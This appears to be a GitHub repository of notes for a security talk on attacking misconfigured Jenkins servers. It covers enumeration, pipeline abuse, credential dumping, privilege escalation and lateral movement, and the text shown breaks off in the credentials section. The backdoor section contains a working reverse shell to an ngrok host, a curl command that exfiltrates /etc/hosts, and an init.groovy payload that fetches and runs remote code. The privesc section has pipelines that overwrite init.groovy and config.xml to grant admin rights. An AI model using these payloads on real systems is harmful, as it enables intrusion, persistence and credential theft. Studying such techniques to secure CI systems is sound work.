├── basics ├── View1.png ├── buildbytoken.png ├── authorization1.png ├── authorization2.png └── README.md ├── defense └── README.md ├── backdoor ├── backdoor-cron.png ├── backdoor-rev.png ├── api-token-access.png ├── backdoor-exfil.png ├── configure-agent.png ├── backdoor-build-step.png ├── shared-library-code.png ├── shared-library-conf.png ├── backdoor-build-step-post.png └── README.md ├── credentials ├── buildlog-password1.png ├── credential-id-dumping.png ├── credential-ssh-configuration.png ├── credential-host-configuration.png └── README.md ├── lateral_movement ├── lateral-api.png ├── lateral-private.png └── README.md ├── pipeline-attacks ├── buildbytoken.png ├── pipeline-replay.png ├── pipeline-replay-modify.png └── README.md ├── introduction └── README.md ├── README.md ├── forensics └── README.md ├── enumeration └── README.md ├── privesc └── README.md └── LICENSE /basics/View1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/basics/View1.png -------------------------------------------------------------------------------- /basics/buildbytoken.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/basics/buildbytoken.png -------------------------------------------------------------------------------- /defense/README.md: -------------------------------------------------------------------------------- 1 | ### Defense 2 | 3 | - Automating Auditing via ScriptConsole API 4 | - Automating logs analysis 5 | -------------------------------------------------------------------------------- /backdoor/backdoor-cron.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/backdoor-cron.png -------------------------------------------------------------------------------- /backdoor/backdoor-rev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/backdoor-rev.png -------------------------------------------------------------------------------- /basics/authorization1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/basics/authorization1.png -------------------------------------------------------------------------------- /basics/authorization2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/basics/authorization2.png -------------------------------------------------------------------------------- /backdoor/api-token-access.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/api-token-access.png -------------------------------------------------------------------------------- /backdoor/backdoor-exfil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/backdoor-exfil.png -------------------------------------------------------------------------------- /backdoor/configure-agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/configure-agent.png -------------------------------------------------------------------------------- /backdoor/backdoor-build-step.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/backdoor-build-step.png -------------------------------------------------------------------------------- /backdoor/shared-library-code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/shared-library-code.png -------------------------------------------------------------------------------- /backdoor/shared-library-conf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/shared-library-conf.png -------------------------------------------------------------------------------- /credentials/buildlog-password1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/credentials/buildlog-password1.png -------------------------------------------------------------------------------- /lateral_movement/lateral-api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/lateral_movement/lateral-api.png -------------------------------------------------------------------------------- /pipeline-attacks/buildbytoken.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/pipeline-attacks/buildbytoken.png -------------------------------------------------------------------------------- /lateral_movement/lateral-private.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/lateral_movement/lateral-private.png -------------------------------------------------------------------------------- /pipeline-attacks/pipeline-replay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/pipeline-attacks/pipeline-replay.png -------------------------------------------------------------------------------- /backdoor/backdoor-build-step-post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/backdoor/backdoor-build-step-post.png -------------------------------------------------------------------------------- /credentials/credential-id-dumping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/credentials/credential-id-dumping.png -------------------------------------------------------------------------------- /credentials/credential-ssh-configuration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/credentials/credential-ssh-configuration.png -------------------------------------------------------------------------------- /pipeline-attacks/pipeline-replay-modify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/pipeline-attacks/pipeline-replay-modify.png -------------------------------------------------------------------------------- /credentials/credential-host-configuration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dibsy/Recipies-Of-A-Jenkins-Hacker/HEAD/credentials/credential-host-configuration.png -------------------------------------------------------------------------------- /introduction/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | ### Whoami 4 | - Dibyendu SIKDAR 5 | - CTF Player, Penetration Tester, Security Engineer 6 | - Work in Umbrella Engineering ( CISCO France ) 7 | 8 | ### Why I decided to do this talk ? 9 | - Previously I used to think Jenkins can be compromised in two possible ways 10 | - Exploit CVE 11 | - Execute a Groovy Script in Script Console. 12 | - I had an opinion if either or both of these conditions are *NOT* met then Jenkins is secure. 13 | - I studied other’s research work and performed my own research for exploiting Jenkins and then I had my opinions flip. 14 | - I looked into how devops teams use jenkins & studied those exposed internet Jenkins controllers. 15 | - Hence I decided to share my observations & learning & techniques of security misconfiguration and exploiting Jenkins! 16 | 17 | 18 | ### 3 things about this talk 19 | - In this talk we are NOT going to exploit any CVE ! 20 | - We will learn about jenkins internals, features and misconfigurations. 21 | - We will focus exploiting point 2 ! 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Recipies of a Jenkins Hacker 2 | 3 | - Introduction 4 | - About Me 5 | - Why this talk ? 6 | - Agenda 7 | 8 | - Jenkins Basics 9 | 10 | - Offensive Jenkins 11 | - Enumeration 12 | - Pipeline Attacks 13 | - Credentials Dumping 14 | - Privilege Escalations 15 | - Forensics 16 | - Lateral Movement 17 | - Backdooring 18 | 19 | - Jenkins Security Automation 20 | - Build Log Analysis 21 | - Script Console Automation 22 | 23 | - Q&A 24 | 25 | ## Tool Release 26 | 27 | - Jenkills - https://github.com/dibsy/jenkills 28 | 29 | I wrote some quick hacky scripts during my research work which can be found here. 30 | 31 | ## Profits 32 | - Found an exposed jenkins instance belonging to HPE and reported them - https://oxhat.blogspot.com/2023/10/responsible-disclosure-security.html 33 | 34 | ### References 35 | - https://medium.com/@gustavo.guss/jenkins-archive-artifact-save-file-in-pipeline-ac6d8b569c2c 36 | - https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials 37 | - https://owasp.org/www-project-top-10-ci-cd-security-risks/ 38 | ### DISCLAIMER 39 | 40 | - DISCLAIMER : NO PUBLIC JENKINS CONTROLLERS WERE EXPLOITED DURING MY RESEARCH 41 | - USE WITH CAUTION : I WILL NOT BE RESPONSIBLE IF THESE TECHNIQUES ARE MISUSED ! 42 | -------------------------------------------------------------------------------- /pipeline-attacks/README.md: -------------------------------------------------------------------------------- 1 | # Pipeline Attacks 2 | 3 | - Some attacks like Replaying the Pipeline / Configuring the job by an unauthenticated user is possible due to misconfiguration. 4 | 5 | 6 | ## Attacking via a compromised GitHub code 7 | - If we are able to access the SCM ( like GitHub, GitLab, etc), we can look for the Jenkinfile. 8 | - If we have enough privileges( write access available ) , we can modify the Jenkinfile with our own modification. 9 | - Next we wait for the trigger to happen. 10 | 11 | ## Replaying the pipeline 12 | - Depending on how the permissions are misconfigured, we can run builds without having build permissions! 13 | 14 | 15 | 16 | 17 | 18 | ## Configurable Jobs 19 | - Changing the configuration due to permission misconfiguration ( Freestyle Projects ) 20 | - Add a build step ( execute a shell script ) 21 | 22 | ## Attacking via a Pull Request 23 | - Opensource projects in github/gitlab allows contributors to create a Pull Request 24 | - To determine if the PR is able to be merged or the tests are working correctly, the maintainers configures the Build System to start a new build. 25 | - As an attacker if we can change the Jenkinsfile and the build runs the contents of the modified Jenkinsfile, we can carry out attacks of credential dumping,pivoting,etc 26 | 27 | 28 | ## Attacking using a build token 29 | 30 | - When we want to intiate build via API / Automation , we can use buildtoken for example http:///job/Test1/build?token=BUILDIT 31 | - If we have acccess to such build token and have enough privileges to modify the source code we can try this technique. 32 | - Out of curiosity I wondered it really possible to find such tokens from the public SCM, and I was surprised ;) 33 | 34 | 35 | -------------------------------------------------------------------------------- /forensics/README.md: -------------------------------------------------------------------------------- 1 | # Forensics with Jenkins 2 | - If the builds agents are not ephemeral, we may get access to some of the existing build data. 3 | - Workspace is an idential location for doing forensics too. 4 | 5 | ## Workspace forensics 6 | - Looking into private repo 7 | - Downloading private repo 8 | - Scanning for data on those private repo 9 | 10 | ## Build Log Analysis 11 | - Not only we can find credentials from build logs, but interesting urls too! 12 | - From analyzing the build logs we can sometimes find infromation about the software tech-stack 13 | - We can also predict the security posture / security maturity of the software being built. 14 | 15 | ## Artifact forensics in workspace 16 | 17 | We can download the artifacts from the workspace. Then we can do the following tasks 18 | - Decompile / Reverse engineer the binaries 19 | - We can look through the workspace and look if any new resources from debug time has been left off or not 20 | 21 | 22 | ## Artifact forensics by pulling down binaries from repositories 23 | - Developers may create custom packages / binaries from their builds ( nexus,docker registry, package registries like pip,npm ) 24 | - These builds are usually pushed to artifact repositories or registries 25 | - Jenkins can talk with artifact repositories, hence we can try to download artifacts from those respositories. 26 | - Then we can decompile / Reverse engineer the binaries. 27 | - It is not unusual to find hardcoded credentials, urls,certificates from these binaries. 28 | 29 | ## Artifacts forensics by pulling down binaries from cloud environments ( Demo ) 30 | - Similarly like the previous, but from the cloud environment. 31 | - Endless possibilities ! S3, CloudWatch Logs, Lambda functions images, and so on ! 32 | 33 | 34 | ## Non-Ephemeral builds ( Demo ) 35 | - If the build agent is not emphemeral, succesive builds may have access to the previous data 36 | - This means if the build agents are reused among various projects, we can get access to the debug information from different projects or executions. 37 | -------------------------------------------------------------------------------- /lateral_movement/README.md: -------------------------------------------------------------------------------- 1 | # Lateral Movement 2 | 3 | ## Internal Network Scan 4 | - When Jenkins is deployed on premise, it has to potential to reach multiple corporate services and endpoints 5 | - When Jenkins is deployed in cloud, it is reachable to limited on premise corporate services through direct connect. 6 | - Therefore, it is worth performing a network scan to find the reachable services, enumerate ports and see if we can exploit any of the services in corp environment. 7 | - We can also use build logs to find if any such corp environment is accessed through analyzing build logs. 8 | 9 | ## Enumerating services with access tokens from credential bindings 10 | - If we are successful in dumping tokens or reusing tokens in credentials bindings, we should review what kind of privileges that token hold and what we can do with it. 11 | - For our understanding, let us take an example of github access token. 12 | - We can try to enumerate various services the token has privileges to perform. 13 | - So imagine you have access to an admin level personal access token, then there a whole world of possibilites - Dump credentials, backdoor code, etc 14 | - We can also have access to private repositories and we can view the cloned contents in the workspace :) 15 | ``` Groovy 16 | pipeline{ 17 | agent any 18 | stages{ 19 | stage('Recon with token'){ 20 | steps{ 21 | withCredentials([usernamePassword(credentialsId: 'github-token', usernameVariable: 'USERNAME', passwordVariable: 'TOKEN')]) { 22 | sh ''' 23 | curl -s -L \ 24 | -H "Accept: application/vnd.github+json" \ 25 | -H "Authorization: Bearer $TOKEN"\ 26 | -H "X-GitHub-Api-Version: 2022-11-28" \ 27 | https://api.github.com/user 28 | ''' 29 | } 30 | } 31 | } 32 | stage('Clone a private repo with token'){ 33 | steps{ 34 | withCredentials([usernamePassword(credentialsId: 'github-token', usernameVariable: 'USERNAME', passwordVariable: 'TOKEN')]) { 35 | sh ''' 36 | git clone https://dibsy:$TOKEN@github.com/dibsy/a-temp-private-repo.git 37 | ''' 38 | } 39 | } 40 | } 41 | } 42 | } 43 | ``` 44 | 45 | 46 | 47 | 48 | 49 | ## Creating resources with with access tokens from credential bindings 50 | - Similarly like Github, we can try to enumerate services with the AWS Access Token 51 | - If we have enough privileges, we can create new AWS services with the AWS tokens - For example create an ec2 with remote ssh privileges. 52 | - This will not only help in moving laterally, we can use this as foothold to carry out attacks ( where we can install many tools ) 53 | 54 | 55 | -------------------------------------------------------------------------------- /basics/README.md: -------------------------------------------------------------------------------- 1 | # Jenkins Basics & Misconfigurations 2 | - This section will introduce us to few terminologies and some features of jenkins that can be misconfigured and exploited 3 | 4 | ## Helpful Terminiologies 5 | 6 | - Controllers - It manages and schedule jobs which are usually carried out by the workers/agents. The interface allows us to administer and control various tasks like managing credentials, jobs, users, plugins, etc. The controller configurations are stored as xml files. 7 | - Nodes - Any kind of computes where the build is run 8 | - Agents - They are the workers which executes the job requested by the controller. It communicates with the controller via the JNLP or SSH protocol. 9 | - Controller's Built-In - If the number of executors are set to non-zero( 1,2,etc), then the job can run on the controller built-in node. They have the access to jenkins controllers host files and resources. 10 | - Ephimeral - "Something that lives for short duration". They are created. They are used. Then they are gone ! No one remembers them ! Usually a secure approach to run agents. 11 | - Configuration Files - They are stored in the host running the Jenkins controllers. All jenkins configuration are stored as xml text files. There is no integrity check! 12 | 13 | ## Jenkins Views 14 | 15 | 16 | - Think Views like your desk. You can customize what you would like to see on them. 17 | - Through views you can organize how your jenkins projects and jobs are displayed, their status, their duration,etc. 18 | - We can control what kind of view will be served to the end user based on the privileges. 19 | - There can be views avaiable without any need for authentication. 20 | - Depending upon how views and Jenkins Matrix Authorization is configured, they can provide juicy information. 21 | - **DEMO** 22 | 23 | ## Jenkins Matrix Authorization Plugin 24 | - By default, every new user has admin rights and the Authorization is set to "Logged-in Users can do anything" 25 | 26 | 27 | - Jenkins Matrix Authorization Plugin is installed during installation of Jenkins 28 | - Useful to provide granual access to users 29 | - This is where "Security Misconfiguration Magic" happens 30 | 31 | 32 | ## Interesting Endpoints 33 | 34 | - Controller Routes 35 | - Users - http:///asynchPeople/ 36 | - Credentials - http:///credentials/ 37 | - Jobs - http:///job/ 38 | - Controller API endpoints 39 | - XML - http:///api/xml 40 | - JSON - http:///api/json 41 | - Based on how views are configured or how the authorization matrix is set, the forced browsing can be used to view those endpoints. 42 | 43 | ## Triggering builds 44 | 45 | - Manually - By clicking the build button 46 | 47 | - Via Pull Requests/New Branch - As used in MultiBranch Pipeline, new builds are triggered with new Pull Requests and Branch. 48 | 49 | - Via Build Token - When we want to intiate build via API / Automation , for example ```http:///job/Test1/build?token=BUILDIT``` 50 | 51 | -------------------------------------------------------------------------------- /backdoor/README.md: -------------------------------------------------------------------------------- 1 | # Backdooring 2 | 3 | - Backdooring helps attacker to gain access over systems over long period of time ( sometimes bypassing the security checks ) 4 | - A higher level privileges might be required to do the changes in configuration 5 | 6 | 7 | 8 | ## Using User issued Jenkins API Tokens 9 | 10 | - It is possible for users to generate their own API tokens. 11 | - Can be used to bypass other authentication process ( Form based Authentication / 2FA authentication ) 12 | - Usually undected ( unless the usage count is not tracked ) 13 | - As an attacker we need to make sure, we need to give right priviliges to these compromised users in case Matrix Authorization Strategy is enabled. 14 | 15 | ``` 16 | curl http://username:token@127.0.0.1:8080 17 | ``` 18 | 19 | 20 | ## Using Shared Libraries 21 | 22 | - Jenkins shared library is popular where large number of jenkins jobs or pipelines uses a repeated code in pipeline script. 23 | - The developers creates certain modular functions containing the repetitive code and then reuses across various projects/pipelines/jobs. 24 | - Personal Research : https://oxhat.blogspot.com/2022/07/attacking-backdooring-and-exfiltrating.html 25 | - There are 2 ways we can backdoor the shared pipelines 26 | 1. Add a backdoor inside a shared library codebase ( Jenkins Admin Access Not Required ) 27 | ``` Groovy 28 | @Library("shared-libraries") _ 29 | pipeline{ 30 | agent any 31 | stages { 32 | stage("example"){ 33 | steps{ 34 | sh "echo Just a job2" 35 | helloWorld(name:"User2",dayOfWeek:"Tuesday") 36 | } 37 | } 38 | } 39 | } 40 | ``` 41 | - 42 | 3. Change the shared library location to an attaker controlled shared library ( Jenkins Admin Access Required ) 43 | - 44 | 45 | ## Using Groovy init scripts 46 | 47 | - We can try this technique both from pipeline / after controller's compromise. 48 | - We need to add ```init.groovy``` file with our payload at home directory ( the directory that contains other config files pf Jenkins, sometimes referred as $JENKINS_HOME ) 49 | - To trigger this, we would need a restart. 50 | - We have couple of options what we can do with our backdoor scripts 51 | - Get a reverse shell - We can run this via pipeline 52 | ``` Groovy 53 | pipeline{ 54 | agent any 55 | stages{ 56 | stage('Adding a groovy init file'){ 57 | steps{ 58 | sh ''' 59 | echo "'wget -O /tmp/revshell.sh https://gist.githubusercontent.com/dibsy/00d346575659f977b353f95a7064e966/raw/dc89f902db2c81fe96c2f5a102e16c25b8308983/temp-cmd.txt'.execute()" > /var/lib/jenkins/init.groovy 60 | echo "sleep(5000)" >> /var/lib/jenkins/init.groovy 61 | echo "'sh /tmp/revshell.sh'.execute()" >> /var/lib/jenkins/init.groovy 62 | ''' 63 | } 64 | } 65 | } 66 | } 67 | ``` 68 | 69 | 70 | 71 | 72 | init.groovy 73 | ``` 74 | "wget -o /tmp/revshell.sh http://https://gist.githubusercontent.com/dibsy/temp-cmd.txt".execute() 75 | sleep(5000) 76 | "sh /tmp/revshell.sh".execute() 77 | ``` 78 | revshell.sh 79 | ``` 80 | bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/13520 0>&1 81 | ``` 82 | 83 | 84 | 85 | - Exfiltrate data - You can exfiltrate system files and automate a process to exfiltrate all jenkins configuration files, secrets, 86 | exfil.groovy 87 | 88 | ``` 89 | "curl -X POST https://6aee-91-166-172-59.ngrok-free.app -d @/etc/hosts".execute() 90 | ``` 91 | 92 | 93 | 94 | - Use other persistent techniques 95 | - Add a cronjob 96 | - Add another user 97 | 98 | ## Triggering backdoor jobs 99 | 100 | - Add a build-step 101 | 102 | 103 | 104 | - Add a post-build Actions to start our backdoor 105 | 106 | 107 | 108 | - Build a job that runs periodically ( cronjob style ) 109 | 110 | 111 | 112 | ## Using Worker-Node SSH Keys 113 | 114 | - We can dump the SSH keys from the Jenkins Controller 115 | - Once we have the SSH keys we can montitor the logon events and exfiltrate the build data or snoop on it for debug logs or credentials. 116 | 117 | ## Adding Malicious Worker-Node 118 | 119 | - In this process we update / add a new configuration with an attacker controller worker node. 120 | - We can update the Worker-Node configuration to point to that node. 121 | - This is possible either adding a new agent or updating the ssh keys used for configuration. 122 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /enumeration/README.md: -------------------------------------------------------------------------------- 1 | # Enumeration 2 | 3 | - Depending on how authorization matrix is configured either we will be presented with a Jenkins View or Authentication Window 4 | - If there is no authentication process involved, the below techniques will work. 5 | - The techniques also work if you have credentials that authenticates you and present you with a Jenkins View. 6 | 7 | ### Jenkins Versions 8 | 9 | We can look for headers in the http responses. 10 | 11 | ```http 12 | X-Hudson: 1.395 13 | X-Jenkins: 2.440 14 | Server: Jetty(10.0.20) 15 | ``` 16 | 17 | 18 | ### Domains and executors 19 | 20 | We can get multiple juicy information from the endpoint ```http://jenkins-server/api/json``` 21 | - Number of Executors for Built-In 22 | - If the value is 0, then the builds are carried out in workers/agents, if not then the controller's built-in is also used for build jobs! 23 | - In case you run your builds on agents/worker and they go offline, the builds will run on the Built-In if the non-zero value is present. 24 | 25 | - url 26 | - In somecases this will point to the domain, or subdomain. From the analysis of the exposed Jenkins controllers we found this url information can help us to find the organization which this controller belongs to. We tried performing reverse-ip lookups but in somecases it failed or pointed to the cloud infrastructure. 27 | - Project Names. 28 | - Job/Build Information. 29 | 30 | ``` json 31 | { 32 | "_class" : "hudson.model.Hudson", 33 | "assignedLabels" : [ 34 | { 35 | "name" : "built-in" 36 | } 37 | ], 38 | "mode" : "NORMAL", 39 | "nodeDescription" : "the Jenkins controller's built-in node", 40 | "nodeName" : "", 41 | "numExecutors" : 2, 42 | "description" : null, 43 | "jobs" : [ 44 | 45 | "primaryView" : { 46 | "_class" : "hudson.model.AllView", 47 | "name" : "all", 48 | "url" : "http://52.91.169.109:8080/" 49 | }, 50 | "quietDownReason" : null, 51 | "quietingDown" : false, 52 | "slaveAgentPort" : -1, 53 | "unlabeledLoad" : { 54 | "_class" : "jenkins.model.UnlabeledLoadStatistics" 55 | }, 56 | "url" : "http://52.91.169.109:8080/", 57 | "useCrumbs" : true, 58 | "useSecurity" : true, 59 | "views" : [ 60 | { 61 | "_class" : "hudson.model.ListView", 62 | "name" : "Random", 63 | "url" : "http://52.91.169.109:8080/view/Random/" 64 | }, 65 | { 66 | "_class" : "hudson.model.AllView", 67 | "name" : "all", 68 | "url" : "http://52.91.169.109:8080/" 69 | } 70 | ] 71 | } 72 | ``` 73 | 74 | ### Build Logs 75 | 76 | Build Path logs are available at 77 | ``` 78 | https://SERVER/job/JOB_NAME/BUILD_NUMBER/consoleText 79 | ``` 80 | We can download these logs are find information like 81 | - internal urls 82 | - credentials 83 | - personal information 84 | 85 | 86 | 87 | 88 | If we are planning to automate our analysis, we can grab the JOB name from http://server/api/json?pretty=true. The jobs object will have the job name 89 | ``` json 90 | { 91 | "_class" : "hudson.model.Hudson", 92 | "assignedLabels" : [ 93 | { 94 | "name" : "built-in" 95 | } 96 | ], 97 | "mode" : "NORMAL", 98 | "nodeDescription" : "the Jenkins controller's built-in node", 99 | "nodeName" : "", 100 | "numExecutors" : 0, 101 | "description" : null, 102 | "jobs" : [ 103 | { 104 | "_class" : "hudson.model.FreeStyleProject", 105 | "name" : "Test1", 106 | "url" : "http://52.91.169.109:8080/job/Test1/", 107 | "color" : "blue" 108 | } 109 | ], 110 | "overallLoad" : { 111 | 112 | }, 113 | "primaryView" : { 114 | "_class" : "hudson.model.AllView", 115 | "name" : "all", 116 | "url" : "http://52.91.169.109:8080/" 117 | }, 118 | "quietDownReason" : null, 119 | "quietingDown" : false, 120 | "slaveAgentPort" : -1, 121 | "unlabeledLoad" : { 122 | "_class" : "jenkins.model.UnlabeledLoadStatistics" 123 | }, 124 | "url" : "http://52.91.169.109:8080/", 125 | "useCrumbs" : true, 126 | "useSecurity" : true, 127 | "views" : [ 128 | { 129 | "_class" : "hudson.model.AllView", 130 | "name" : "all", 131 | "url" : "http://52.91.169.109:8080/" 132 | } 133 | ] 134 | } 135 | ``` 136 | 137 | ### Artifacts 138 | 139 | Artifacts from the build are available at 140 | 141 | ```SERVER/job/JOB_NAME/lastSuccessfulBuild/artifact/ARTIFACT-NAME``` 142 | 143 | ```SERVER/job/JOB_NAME/lastSuccessfulBuild/artifact/*zip*/archive.zip``` 144 | 145 | ```http://3.82.198.32:8080/job/Pipeline1/lastSuccessfulBuild/artifact/*zip*/archive.zip``` 146 | 147 | ### Users 148 | 149 | - https://azure-build.debian.net/asynchPeople/api/json?pretty 150 | ``` json 151 | { 152 | "_class" : "hudson.model.View$AsynchPeople$People", 153 | "users" : [ 154 | { 155 | "lastChange" : null, 156 | "project" : null, 157 | "user" : { 158 | "absoluteUrl" : "http://52.91.169.109:8080/user/system", 159 | "fullName" : "SYSTEM" 160 | } 161 | }, 162 | { 163 | "lastChange" : null, 164 | "project" : null, 165 | "user" : { 166 | "absoluteUrl" : "http://52.91.169.109:8080/user/superadmin", 167 | "fullName" : "SuperAdmin" 168 | } 169 | } 170 | ] 171 | } 172 | ``` 173 | ### Question to ask with the obtained information 174 | 175 | - Are those obatined internal urls reachable? 176 | - Can I try to access those url if I have a pipeline that I can modify? 177 | - Do these username are the the same ones used for login purpose in the corporate enviroment? 178 | - Can I do a password spray with the username obtained? 179 | - Can I replicate a resource url for a 404 error? 180 | - Can I find any public github account of the user? ( **if you find any account, do search for any credentials through the repos in that account as there is a chance to get some corporate credentials or information which has been exposed accidentally** ) 181 | 182 | -------------------------------------------------------------------------------- /privesc/README.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalations 2 | 3 | - In a scenario where we have limited options to do due to the privileges a user currently has, we might need to escalate to other privileges. 4 | - The Matrix-based security/ Project-based Matrix Authorization Strategy is used to define authorization and scopes and they store the configurations in xml files. 5 | - In our privilege escalation techniques we will try to escalate our privileges to an administrator. 6 | 7 | 8 | 9 | 10 | ## Give admin access to all authenticated users by executing a groovy script - Technique 1 11 | 12 | - The 1st condition for this attack is that the build has to run on the Built-In node , i.e on the Controller. 13 | - The 2nd condition is Jenkins would need a restart after this attack. 14 | - We need to write a init.groovy script that will give the authenticated users admin access 15 | - We will write a pipeline script to download that init.grooy script that will be replaced in the JENKINS_HOME location. 16 | - init.groovy script will run after the Jenkins initialization, hence a Jenkins reboot is required. 17 | - We will wait for a restart and our low privileged user will have admin access. 18 | 19 | init.groovy 20 | ``` Groovy 21 | //code copied from http://tdongsi.github.io/blog/2017/12/30/groovy-hook-script-and-jenkins-configuration-as-code/ 22 | import jenkins.model.* 23 | def instance = Jenkins.getInstance() 24 | 25 | import hudson.security.* 26 | def realm = new HudsonPrivateSecurityRealm(false) 27 | instance.setSecurityRealm(realm) 28 | 29 | def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy() 30 | strategy.setAllowAnonymousRead(false) 31 | instance.setAuthorizationStrategy(strategy) 32 | 33 | instance.save() 34 | ``` 35 | 36 | pipeline 37 | ``` Jenkinsfile 38 | pipeline { 39 | agent any 40 | stages { 41 | stage('Copy Groovy Script to JENKINS_HOME') { 42 | steps { 43 | sh ''' 44 | curl -o /var/lib/jenkins/init.groovy https://gist.githubusercontent.com/dibsy/c42f536d12a406cbd3845aea4f6ac746/raw/476980613a3f23af11bc958f8a03fc40689987ff/HOOK.groovy 45 | ''' 46 | } 47 | } 48 | } 49 | } 50 | ``` 51 | 52 | 53 | ## Escalate to adminstrator role through groovy init scripts - Technique 2 ( Restart using Pipeline ) 54 | 55 | - In the previous example we were dependant on the Jenkins restart by admin. 56 | - It is possible to initiate Jenkins restart by Jenkins Pipeline and in order to do so we need a script approval from admin. 57 | - The 1st condition for this attack is that the build has to run on the Built-In node , i.e on the Controller. 58 | - The 2nd condition is we need to run this pipeline without sandbox mode ( Uncheck in Project Configuration ```Use Groovy Sandbox``` ) 59 | - The 3rd condition is admins need to approve this scripts. 60 | 61 | To carry out the attack 62 | - We need to write a init.groovy script that will give the authenticated users admin access 63 | - We will write a pipeline script to download that init.grooy script that will be replaced in the JENKINS_HOME location. 64 | - init.groovy script will run after the Jenkins initialization, hence a Jenkins reboot is required. 65 | - We will write another stage to Restart the Jenkins and start the job. 66 | - Admin need to approve the scripts. 67 | - We need to rerun the attack after the script approval and we will gain admin access after the restart. 68 | 69 | init.groovy 70 | ``` Groovy 71 | //code copied from http://tdongsi.github.io/blog/2017/12/30/groovy-hook-script-and-jenkins-configuration-as-code/ 72 | import jenkins.model.* 73 | def instance = Jenkins.getInstance() 74 | 75 | import hudson.security.* 76 | def realm = new HudsonPrivateSecurityRealm(false) 77 | instance.setSecurityRealm(realm) 78 | 79 | def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy() 80 | strategy.setAllowAnonymousRead(false) 81 | instance.setAuthorizationStrategy(strategy) 82 | 83 | instance.save() 84 | ``` 85 | 86 | pipeline 87 | ``` 88 | pipeline { 89 | agent any 90 | 91 | stages { 92 | stage('Copy Groovy Script to JENKINS_HOME') { 93 | steps { 94 | sh ''' 95 | curl -o /var/lib/jenkins/init.groovy https://gist.githubusercontent.com/dibsy/c42f536d12a406cbd3845aea4f6ac746/raw/476980613a3f23af11bc958f8a03fc40689987ff/HOOK.groovy 96 | ''' 97 | } 98 | } 99 | stage('Restart Jenkins') { 100 | steps { 101 | script { 102 | Jenkins.instance.restart() 103 | } 104 | } 105 | } 106 | } 107 | } 108 | ``` 109 | 110 | 111 | 112 | ## Escalate to adminstrator role by modifying the config.xml file 113 | 114 | - The 1st condition for this attack is that the build has to run on the Built-In node , i.e on the Controller. 115 | - The 2nd condition is that either we need a restart or a reload of configuration data from disk. 116 | - We will dump the config.xml 117 | - We will modify the config.xml to add builduser as admin ``` USER:hudson.model.Hudson.Administer:builduser ``` 118 | - Next we will run a pipeline that will download and replace the config.xml with the modified xml 119 | - From the next restart or reloading of config data, our changes will take effect. 120 | 121 | ``` 122 | pipeline{ 123 | agent any 124 | stages{ 125 | stage("Dump config.xml file"){ 126 | steps{ 127 | sh ''' 128 | cat /var/lib/jenkins/config.xml 129 | ''' 130 | } 131 | } 132 | stage("Replace the modified config.xml file"){ 133 | steps{ 134 | sh ''' 135 | curl -o /var/lib/jenkins/config.xml https://gist.githubusercontent.com/dibsy/1548ae721e687cc86b9d4a95cc3bafa5/raw/2a3693b17c638f27f1be56af62d85de0309144cb/configModified.xml 136 | ''' 137 | } 138 | } 139 | } 140 | } 141 | ``` 142 | -------------------------------------------------------------------------------- /credentials/README.md: -------------------------------------------------------------------------------- 1 | # Credentials Dumping 2 | 3 | ## Credentials in Text fields in Credentials List 4 | - We can find the list of credentials name and id at http://host:ip/credentials/ 5 | - While this sounds very hypothetical, it is very much real to find credentials in text and name section. 6 | - Possible reason for rewriting credentials in credentials description makes it easier to remember purpose, or for making debugging easy. 7 | 8 | ## Dumping credentials from logs 9 | 10 | - Build logs are generated from the build output. 11 | - In certain cases depending on how the pipeline is created, credentials can get logged in the build output 12 | 13 | 14 | ## Credentials Dumping from pipeline 15 | 16 | - We can store various kinds of credentials 